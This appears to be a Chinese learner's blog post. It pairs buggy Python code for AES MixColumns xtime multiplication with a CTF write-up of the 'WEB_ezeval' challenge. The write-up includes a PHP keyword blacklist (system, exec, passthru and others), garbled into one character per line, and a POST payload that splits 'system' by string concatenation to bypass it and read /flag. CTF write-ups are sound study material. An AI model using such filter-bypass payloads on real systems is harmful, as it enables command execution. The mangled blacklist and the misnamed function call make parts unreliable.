一, 简答的暴力
就在我学习python的这段时间里,有个密码学的数学问题“混入”了我的视野——AES列混淆的X乘。X乘本身就是为了计算机而设计的数学原理,于是我就那么简单的试了试,稍微编了”亿“下,不知不觉中就过去了几个小时,好吧,我很菜,请见谅。
因为原理很简单,所以我就没有多想,直接用了最粗俗的、暴力的程序语言直接将它编写出来了。
噢,顺便把原理说一下吧。
在G(2^8)域上通过多项式乘法,进行字节运算。
b7=0的时候左移一位
b7=1的时候左移一位,再异或一个不可约多项式。
听起来很贱单(额,我就是故意打错的),做起来……
下面附上代码:
def MixColumnbytes():
a1=eval(input("请输入运算字节:"))#定义字节
a2=0
b1=bin(a1)
#print(b1)#与后期转换列表对照
list_b1=list(b1)
if len(list_b1)<10:
for i in range(10-len(list_b1)):
list_b1.insert(2,"0")
#print(list_b1)#将b1写入列表
list2=[]
#循环左移
for i in range(len(list_b1)):
list2.append(list_b1[i+3])
if i==len(list_b1)-4:
if len(list2)<8:
for i in range(8-len(list2)):
list2.append("0")
break
#print(list2)检查循环左移情况
#分情况X乘
if(list_b1[2]=='0'):
for i in range(len(list2)):
a2 += 2 **i* int(list2[7 - i])
a1 =hex(a2)
return a1
elif (list_b1[2]=='1'):
for i in range(len(list2)):
a2 += 2 **i* int(list2[7 - i])
a1=hex(a2^27)
return a1
else:
return a1
if __name__=="__main__":
print(MixColumnsbytes())
在这个例子当中我用了最暴力的方式做最简单的事情,却将简单的事情复杂化了,至少我是这么认为的。可以去翻一下其他大佬的博客,他们都有讲到X乘怎样写最有效率,最符合实际,在这里就过多赘述了。
二,暴力的简单
前段时间在BMZCTF公开赛上看见了这样一道题(目前公开赛题目已上传到靶场,可自行前往练习)WEB_ezeval,一道黑名单及其粗暴的题目,不得不说还是我才疏学浅,连这样的黑名单都没办法绕过。
b
l
a
c
k
l
i
s
t
=
a
r
r
a
y
(
′
p
h
p
′
,
′
e
c
h
o
′
,
′
‘
′
,
′
p
r
e
g
′
,
′
s
e
r
v
e
r
′
,
′
c
h
r
′
,
′
d
e
c
o
d
e
′
,
′
h
t
m
l
′
,
′
m
d
5
′
,
′
p
o
s
t
′
,
′
g
e
t
′
,
′
f
i
l
e
′
,
′
s
e
s
s
i
o
n
′
,
′
a
s
c
i
i
′
,
′
e
v
a
l
′
,
′
r
e
p
l
a
c
e
′
,
′
a
s
s
e
r
t
′
,
′
e
x
e
c
′
,
′
c
o
o
k
i
e
′
,
′
black_list=array('php','echo','`','preg','server','chr','decode','html','md5','post','get','file','session','ascii','eval','replace','assert','exec','cookie','
blacklist=array(′php′,′echo′,′‘′,′preg′,′server′,′chr′,′decode′,′html′,′md5′,′post′,′get′,′file′,′session′,′ascii′,′eval′,′replace′,′assert′,′exec′,′cookie′,′',‘include’,‘var’,‘print’,‘scan’,‘decode’,‘system’,‘func’,‘ini_’,‘passthru’,‘pcntl’,‘open’,‘link’,‘log’,‘current’,‘local’,‘source’,‘require’,‘contents’);
当时苦思冥想了许久,还是大佬厉害,反正“大佬”什么都会。下面附上源码和playload.
直接POST
cmd=array_map(‘s’.‘ystem’,[‘cat /flag’])
当然你可以先用常见的套路(ls,ls /等)查看flag的位置,然后随你便了,反正这都不是重点。重点在于黑名单太过“简单”,似乎根本无法过滤完所有的可能性,可是就是这样一种简单的方法依旧具有冗余的方面,那就是过于暴力的复现过滤的手段了。我想程序员也想过这样的情况,不然就不会有白名单一说了。
三, 学习路漫漫
学习之路永不停息,我是这周末在做梦,谢谢观看我的吐槽。